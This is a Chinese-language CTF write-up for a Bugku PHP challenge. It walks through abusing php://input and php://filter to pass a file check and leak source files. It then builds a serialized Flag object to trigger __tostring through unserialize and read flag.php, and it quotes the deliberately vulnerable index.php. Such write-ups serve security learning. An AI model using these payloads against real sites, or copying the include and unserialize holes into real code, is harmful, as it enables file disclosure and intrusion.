今天終於拾起來ctf的比賽了,開始了練習之旅。今天寫一道bugku上的題目wp,屬於利用php源碼泄漏的題目吧,我覺得不是很簡單。。。所以把自己的思路放上來。
題目源頭:http://120.24.86.145:8006/test1/
題目打開后得到如下的信息,查看源碼后發現
很顯然想讓我們利用源碼去得到flag。這里我們稍微解釋下這個源碼的意思。
開始有三個變量:user,file,pass,但是我們發現這里的pass也就是password沒有什么用,所以我們重點關注前兩個變量。看下面的條件
(1)這里isset的意思是查看變量是否存在,即user不能為空。
(2)
file_get_contents是把整個文件讀入字符串中,這里也就是把user這個變量(user顯然要是一個文件)的內容以字符串的方式讀出來並且要和“welcome to the bugkuctf”完全相等(類型,內容)。
(3)后面提示了我們所以我們要在滿足條件之后讀取file=hint.php。
知道了以上的三個條件后我們就可以做第一步了,就是如何滿足他們的條件!?
這里就要使用php偽協議了。這道題目為了解決第二個條件,要用到 “php://input”協議。大致的意思是讓 txt=php://input ,之后在post過去一個字符串
(當傳進去的參數作為文件名變量去打開文件時,可以將參數php://傳進,同時post方式傳進去值作為文件內容,供php代碼執行時當做文件內容讀取)類似(PS:此時payload還不完整還不能執行哈)
簡單來說就是將指定字符串作為文件傳給txt,然后再將user的內容讀出來。此時我們就滿足了。
之后我們得到了
此時根據提示我們可以把包含的文件讀出來了,這里要用到php的第二個偽協議:php://filter
這里放上一個寫的詳細的blog(關於filter的)http://blog.csdn.net/wy_97/article/details/77431111
即 txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php(簡單來說就是利用偽協議讀取所包含文件的base64值)得到
解碼得到:
- #hint.php
- <?php
- class Flag{//flag.php
- public $file;
- public function __tostring(){
- if(isset($this->file)){
- echo file_get_contents($this->file);
- echo "<br>";
- return ("good");
- }
- }
- }
- ?>
之后可以繼續利用偽協議讀取一下index.php源碼
- #index.php
- <?php
- $txt = $_GET["txt"];
- $file = $_GET["file"];
- $password = $_GET["password"];
- if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
- echo "hello friend!<br>";
- if(preg_match("/flag/",$file)){
- echo "不能現在就給你flag哦";
- exit();
- }else{
- include($file);
- $password = unserialize($password);
- echo $password;
- }
- }else{
- echo "you are not the number of bugku ! ";
- }
- ?>
- <!--
- $user = $_GET["txt"];
- $file = $_GET["file"];
- $pass = $_GET["password"];
- if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
- echo "hello admin!<br>";
- include($file); //hint.php
- }else{
- echo "you are not admin ! ";
- }
- -->
在index里我們能讀出來:
(1)在hint.php中我們看到了,所以我們把index.php改成flag.php看看會有什么結果,發現
這個亂碼在index.php中我們發現是
所以我們不能直接讀flag.php。在index中我們看到這個意思是file中如果包含‘flag’,那么就會給你退出。所以我們要想其他辦法讀flag.php
(2)我們載去找有用的信息,發現這個else寫到如果我的file不包含‘flag’,那么我就會把那個文件包含進來,之后將password反序列化一下。並輸出password的結果。而我們根據上面的hint.php發現,
- #hint.php
- <?php
- class Flag{//flag.php
- public $file;
- public function __tostring(){
- if(isset($this->file)){
- echo file_get_contents($this->file);
- echo "<br>";
- return ("good");
- }
- }
- }
- ?>
我們發現當Flag方法當做字符串執行時,會自動執行 __tostring 方法,方法中寫了如果file文件存在,那么就輸出file文件中的內容。
這不正是我們要解決的輸出flag.php內容的情況嗎???所以我們要構造一個Flag類型的參數,並把這個參數傳給password然后get進去。並且這個file的值要是hint.php(因為要利用hint.php中的函數),即:————根據php序列化的結果
- <?php
- class Flag{
- public $file;
- }
- $a = new Flag();
- $a->file = "flag.php";
- $a = serialize($a);
- print_r($a);
- ?>
得到: O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 傳入
得到
至此這道題目結束。不過應該會有同學問為何payload中有index.php,,我覺得index.php是默認的頁面,不然你沒有辦法傳給php頁面參數,所以應該屬於一種套路吧,記住就好。。。。
作為菜雞,還要繼續努力啊:)